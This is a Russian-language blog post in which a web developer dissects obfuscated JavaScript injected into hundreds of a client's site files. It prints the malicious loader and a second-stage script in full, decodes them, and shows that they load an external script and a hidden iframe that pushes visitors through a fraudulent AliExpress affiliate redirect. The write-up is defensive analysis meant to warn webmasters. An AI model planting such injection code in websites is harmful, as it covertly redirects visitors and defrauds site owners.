Взломанный сайт и AliExpress
Обратился ко мне пару дней назад старый клиент (я ему «100 лет назад» сайты делал) с такой проблемой, ругается, мол, на мои сайты антивирус Касперского, говорит такой-то файл обнаружен объект Троянская программа.
Начал я лазить и обнаружилось, что практически все файлы JavaScript (*.js) «заражены», а именно, в конец файла приписаны функции, которые, видимо, пропустили через Obfuscator, дабы, особо любопытные с первого взгляда ничего не увидели настораживающего. И все бы хорошо, да этих файлов на одном сайте порядка 500 штук, на втором 550 штук. Можно было бы запустить поиск по тексту и удалить, но сложность еще в том, что от файла к файлу название функций и переменных меняются.
Собственно, как почистить файлы – это технические вопросы, мне стало интересно, что же такого зашифровали в этих функциях и что же они делают.
Открываю я файл .js и в конце файла вижу следующую картину:
[code] function kjwrR(uX879w){var epdm0S=document[yRThp1V(k830v[3])](yRThp1V(k830v[0])+yRThp1V(k830v[1])+yRThp1V(k830v[2]));epdm0S[yRThp1V(k830v[4])]=uX879w;epdm0S[yRThp1V(k830v[5])]=yRThp1V(k830v[6]);document[yRThp1V(k830v[9])](yRThp1V(k830v[8]))[0][yRThp1V(k830v[7])](epdm0S);}var k830v=["023081","022091","020070","007064083083069013032095035039022028019","023064085","016075070087","016087078070030002004069039057016000014019016","005066070087095012038091047038023","012087087086","003087066119093013008086040062000048030055005085120083092013","012070066066011071074064050043007023073016009094004028067029074089053101016028019077014065"];function yRThp1V(y21M13){return o26(myLrOz(y21M13),'d2621he3FJsrgc');}function myLrOz(gY4o){var hc3obi='';var ur=0;var s4va6=0;for(ur=0;ur<gY4o.length/3;ur++){hc3obi+=String.fromCharCode(gY4o.slice(s4va6,s4va6+3));s4va6=s4va6+3;}return hc3obi;}function o26(xfI03,zt6){var wW9C1='';var vDam1=0;var lX528e=0;for(vDam1=0;vDam1<xfI03.length;vDam1++){var d7683=xfI03.charAt(vDam1);var jd=d7683.charCodeAt(0)^zt6.charCodeAt(lX528e);d7683=String.fromCharCode(jd);wW9C1+=d7683;if(lX528e==zt6.length-1)lX528e=0;else lX528e++;}return (wW9C1);}kjwrR(yRThp1V(k830v[10])); [/code]
На первый взгляд страшная «абра-кадабра», давайте попробуем разобраться.
Первым делом применю форматирование, чтобы было видно, какие функции, переменные, я пользуюсь DreamWeaver’ом, но для этих целей можно использовать любой редактор, поддерживающий эту функцию, просто мне так удобнее.
В итоге получается уже более читаемо:
[code] function kjwrR(uX879w) { var epdm0S = document[yRThp1V(k830v[3])](yRThp1V(k830v[0]) + yRThp1V(k830v[1]) + yRThp1V(k830v[2])); epdm0S[yRThp1V(k830v[4])] = uX879w; epdm0S[yRThp1V(k830v[5])] = yRThp1V(k830v[6]); document[yRThp1V(k830v[9])](yRThp1V(k830v[8]))[0][yRThp1V(k830v[7])](epdm0S); } var k830v = ["023081", "022091", "020070", "007064083083069013032095035039022028019", "023064085", "016075070087", "016087078070030002004069039057016000014019016", "005066070087095012038091047038023", "012087087086", "003087066119093013008086040062000048030055005085120083092013", "012070066066011071074064050043007023073016009094004028067029074089053101016028019077014065"]; function yRThp1V(y21M13) { return o26(myLrOz(y21M13), 'd2621he3FJsrgc'); } function myLrOz(gY4o) { var hc3obi = ''; var ur = 0; var s4va6 = 0; for (ur = 0; ur < gY4o.length / 3; ur++) { hc3obi += String.fromCharCode(gY4o.slice(s4va6, s4va6 + 3)); s4va6 = s4va6 + 3; } return hc3obi; } function o26(xfI03, zt6) { var wW9C1 = ''; var vDam1 = 0; var lX528e = 0; for (vDam1 = 0; vDam1 < xfI03.length; vDam1++) { var d7683 = xfI03.charAt(vDam1); var jd = d7683.charCodeAt(0) ^ zt6.charCodeAt(lX528e); d7683 = String.fromCharCode(jd); wW9C1 += d7683; if (lX528e == zt6.length - 1) lX528e = 0; else lX528e++; } return (wW9C1); } kjwrR(yRThp1V(k830v[10])); [/code]
Запутанность функций, из функции в функцию, гоняют туда-сюда, но в итоге смысл всей этой ерунды в том, что в раздел <head> добавляется конструкция загрузки скрипта <script src="http://state.sml2.ru/js/cnt.js" type="text/javascript"></script>
Смотрим далее, что же в этом файле. Но прикол еще в том, что постоянно, при попытке загрузить данный файл сервер возвращает ошибку 404, типа, как и нет такого файла, но толи — это специально, толи от большой нагрузки, но иногда файл все же удается загрузить.
[code] var _0xbd24=["\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64","\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x6F\x67\x69\x6E\x2E\x61\x6C\x69\x65\x78\x70\x72\x65\x73\x73\x2E\x63\x6F\x6D\x2F\x78\x6D\x61\x6E\x2F\x78\x5F\x75\x6D\x69\x64\x2E\x68\x74\x6D","\x6F\x6E\x6C\x6F\x61\x64","\x6F\x62\x6A\x65\x63\x74","\x69\x66\x72\x61\x6D\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x66\x75\x6E\x73\x2E\x6D\x6F\x62\x69\x2F\x3F\x61\x73","\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72","\x68\x65\x69\x67\x68\x74","\x77\x69\x64\x74\x68","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x6E\x6F\x6E\x65","\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72"];document[_0xbd24[19]](_0xbd24[0],function(){if(!_0x471ax1){var _0x471ax1=document[_0xbd24[2]](_0xbd24[1])[0];var _0x471ax2=document[_0xbd24[4]](_0xbd24[3]);_0x471ax2[_0xbd24[5]]= _0xbd24[6];_0x471ax2[_0xbd24[7]]= function(){if((!_0x471ax3) && (( typeof umid_message)!= _0xbd24[8])){var _0x471ax3=document[_0xbd24[4]](_0xbd24[9]);_0x471ax3[_0xbd24[5]]= _0xbd24[10];_0x471ax3[_0xbd24[11]]= 0;_0x471ax3[_0xbd24[12]]= 0;_0x471ax3[_0xbd24[13]]= 0;_0x471ax3[_0xbd24[15]][_0xbd24[14]]= _0xbd24[16];_0x471ax1[_0xbd24[18]](_0x471ax3,_0x471ax1[_0xbd24[17]])}};_0x471ax1[_0xbd24[18]](_0x471ax2,_0x471ax1[_0xbd24[17]])}}) [/code]
Еще одна порция чепухи. Прогоняем исходное форматирование.
[code] var _0xbd24 = ["\x44\x4F\x4D\x43\x6F\x6E\x74\x65\x6E\x74\x4C\x6F\x61\x64\x65\x64", "\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65", "\x73\x63\x72\x69\x70\x74", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x73\x72\x63", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6C\x6F\x67\x69\x6E\x2E\x61\x6C\x69\x65\x78\x70\x72\x65\x73\x73\x2E\x63\x6F\x6D\x2F\x78\x6D\x61\x6E\x2F\x78\x5F\x75\x6D\x69\x64\x2E\x68\x74\x6D", "\x6F\x6E\x6C\x6F\x61\x64", "\x6F\x62\x6A\x65\x63\x74", "\x69\x66\x72\x61\x6D\x65", "\x68\x74\x74\x70\x3A\x2F\x2F\x66\x75\x6E\x73\x2E\x6D\x6F\x62\x69\x2F\x3F\x61\x73", "\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72", "\x68\x65\x69\x67\x68\x74", "\x77\x69\x64\x74\x68", "\x64\x69\x73\x70\x6C\x61\x79", "\x73\x74\x79\x6C\x65", "\x6E\x6F\x6E\x65", "\x66\x69\x72\x73\x74\x43\x68\x69\x6C\x64", "\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65", "\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72"]; document[_0xbd24[19]](_0xbd24[0], function () { if (!_0x471ax1) { var _0x471ax1 = document[_0xbd24[2]](_0xbd24[1])[0]; var _0x471ax2 = document[_0xbd24[4]](_0xbd24[3]); _0x471ax2[_0xbd24[5]] = _0xbd24[6]; _0x471ax2[_0xbd24[7]] = function () { if ((!_0x471ax3) && ((typeof umid_message) != _0xbd24[8])) { var _0x471ax3 = document[_0xbd24[4]](_0xbd24[9]); _0x471ax3[_0xbd24[5]] = _0xbd24[10]; _0x471ax3[_0xbd24[11]] = 0; _0x471ax3[_0xbd24[12]] = 0; _0x471ax3[_0xbd24[13]] = 0; _0x471ax3[_0xbd24[15]][_0xbd24[14]] = _0xbd24[16]; _0x471ax1[_0xbd24[18]](_0x471ax3, _0x471ax1[_0xbd24[17]]) } }; _0x471ax1[_0xbd24[18]](_0x471ax2, _0x471ax1[_0xbd24[17]]) } }) [/code]
Вот тут уже интереснее, потому как именно этот скрипт и выполняет всю гадкую работу.
Что же тут есть, первая переменная – это массив из имен функций, объектов, тэгов и так далее, просто зашифровано все в hex ascii.
Переконвертим массив и получим следующую картину:
[code] var _0xbd24 = ["DOMContentLoaded", "body", "getElementsByTagName", "script", "createElement", "src", "https://login.aliexpress.com/xman/x_umid.htm", "onload", "object", "iframe", "http://funs.mobi/?as", "frameborder", "height", "width", "display", "style", "none", "firstChild", "insertBefore", "addEventListener"]; [/code]
Ну а теперь уже просто пробежаться по скрипут и понять, что же он делает.
Первая строчка
[code] document[_0xbd24[19]](_0xbd24[0], function () { [/code]
после конверта примет следующий вид
[code] document[addEventListener](DOMContentLoaded, function () { [/code]
Тут пока ни чего страшного нет, как только загрузится основной документ выполнить функцию.
Таким образом разбираю остатки этой функции и наблюдаю следующую картину, создается тэг <script> его src выставляется в https://login.aliexpress.com/xman/x_umid.htm и как только этот скрипт загрузился создается iFrame, с src http://funs.mobi/?as
Далее frameborder, height и width выставляются в 0, стиль display в none. Таким образом спрятали этот фрэйм от глаз посетителей.
В чем же тут опасность? А самый прикол в ссылке http://funs.mobi/?as, которая открывается во фрэйме, она делает редирект на адрес
http://best.aliexpress.com/ru.htm?aff_platform=promotion&cpt=1495116399726&sk=bUJQjA2&aff_trace_key=0a8f4f4d1e71469ab50c2abc563be8f5-1495116399726-07892-bUJQjA2
Вот в чем вся суть данного заражения. Пользователи зараженного сайта, сами того не подозревая переходят на сайт AliExpress.com по чужой реферальной ссылке и если вы новый пользователь этой Китайской площадки, то при регистрации в будущем вы будете закреплены за этими, так называемыми злоумышленниками и с ваших покупок они будут получать проценты.
Вот таким нехитрым образом кто-то набивает себе карман.
После того, как я это раскурил, я естественно обратился в поддержку сайта AliExpress, но толи там сильно занятые люди, толи онлайн чат у них работает как-то по-особенному, ответа мне не дали, да и собственно какой ответ от них можно получить, ведь они не могут проверить достоверность моих слов, что этот рефовод загоняет людей таким образом. Так что, остается с этим бороться только нам, Web-мастерам на местах.
Всем удачи и проверьте свои скрипты на предмет такой подлянки.
Оставить комментарий
Убедитесь, что Вы ввели всю требуемую информацию, в поля, помеченные звёздочкой (*). HTML код не допустим.